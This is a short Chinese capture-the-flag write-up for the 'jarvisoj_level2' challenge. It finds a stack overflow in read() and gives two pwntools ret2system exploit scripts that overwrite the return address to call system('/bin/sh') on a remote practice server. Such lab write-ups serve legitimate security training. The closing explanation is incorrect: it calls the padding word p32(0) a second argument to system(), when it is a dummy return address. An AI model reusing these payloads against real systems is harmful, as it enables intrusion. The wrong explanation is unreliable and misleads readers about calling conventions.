jarvisoj_level2 1
1.checksec
2.ida
点进去vulnerable_function()找到溢出点read函数
buf的大小是0x88,读入的数据大小是0x100,多余空间足以构造rop
函数自身直接调用了system函数, 我们试着找下bin/sh
shift+f12, 果然有bin/sh,找到具体地址: binsh_addr = 0804A024
在该函数里反汇编找到调用system函数的指令的地址
故可构造如下exp:
exp1:
from pwn import*
r=remote('node4.buuoj.cn',25612)
str_bin_sh=0x804a024
payload=b'a'*(0x88+4)+p32(0x804845C)+p32(str_bin_sh)
r.sendlineafter(b'\n',payload)
r.interactive()
exp2:
from pwn import *
io = remote("node4.buuoj.cn",25612)
elf = ELF("./pwn08")
system_addr = elf.symbols["system"]
bin_sh_addr = 0x0804a024
payload = b"a"*(0x88+0x04) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()
在这段代码中,我们使用了system函数来执行/bin/sh命令,因此需要将/bin/sh字符串的地址作为system函数的参数。为了满足system函数的调用要求,我们在payload中添加了一个空值作为第二个参数。
总结一下,system函数调用的要求是:
第一个参数是一个指向以空字符结尾的字符串的指针,表示要执行的命令或程序的路径。
第二个参数是一个空值,表示没有其他参数传递给被执行的命令或程序。
cat flag